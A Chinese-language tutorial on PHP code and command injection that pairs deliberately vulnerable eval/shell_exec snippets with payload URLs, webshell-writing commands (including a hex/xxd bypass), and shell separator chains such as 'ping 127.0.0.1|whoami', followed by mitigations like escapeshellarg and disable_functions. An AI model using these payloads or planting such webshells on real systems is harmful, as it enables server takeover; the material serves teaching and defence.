本质:用了相关函数、却存在可以控制的变量。
发现:工具 扫描、代码审计
代码执行:
代码执行产生函数:eval,assert等,
code_eval.php:
<?php $code=$_GET["name"]; eval($code); ?>
payload:http://127.0.0.1/code_eval.php?name=echo phpinfo();
eval():将这串代码以php执行
利用:
http://127.0.0.1/code_eval.php?name= echo ^<?php eval($_POST[pandas]); ?^> >C:/wwwroot/webshell.php
代码注入的防治:
-
升级到PHP 7.1,该版本对大部分常见的执行动态代码的方法进行了封堵。
-
php.ini中,关闭“
allow_url_fopen
”。在打开它的情况下,可以通过phar://
等协议丢给include
,让其执行动态代码。 -
php.ini中,通过
disable_functions
关闭exec,passthru,shell_exec,system
等函数,禁止PHP调用外部程序。 -
永远不要在代码中使用eval。
-
设置好上传文件夹的权限,禁止从该文件夹执行代码。
-
include 文件的时候,注意文件的来源;需要动态include时做好参数过滤。
- 对于preg_replace()函数,要放弃使用/e修饰符,也可以使用preg_replace_callback()函数代替。如果一定要使用该函数,请保证第二个参数中,对于正则匹配出的对象用单引号包裹 因为mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
命令执行(命令注入):
本质:命令执行产生函数:exec,shell_exec,system,passthru等将参数以dos、shell执行
exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 实际上是使用shell_exec()函数,此外还要小心mail()函数的安全
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针
cmd_eval.php:
<?php $cmd=$_GET["name"]; echo shell_exec($cmd); ?>
payload:http://127.0.0.1/cmd_eval.php?name=netstat%20-ano
http://127.0.0.1/cmd_eval.php?name=ipconfig
命令执行利用及绕过姿势
写入webshell:
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[kang]); ?>,方法如下:
WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字
linux下需要用来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字
后面命令注入也有时间盲注和sql注入很像
| 命令管道符
<>>> 文件重定向符
测试: 0 | dir c:
代码只过滤了部分特殊字符,可以考虑用其他字符进行测试,这边列举一下Window/Linux可利用的特殊字符:
windows支持:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
Linux支持:
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
11 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
如何防止命令执行漏洞
PHP内置的两个函数可以有效防止命令执行:
1. escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。资料参考:http://cn.php.net/manual/zh/function.escapeshellarg.php
2. escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。资料参考:http://cn.php.net/manual/zh/function.escapeshellcmd.php
3. php中禁止disable_functions(禁用一些危险函数)
4. 参数值尽量使用引用号包裹,并在拼接前调用addslashes进行转义
当然,修复方法还有很多方式,修复方式一般有两种思维:
1、黑名单:过滤特殊字符或替换字符 2、白名单:只允许特殊输入的类型/长度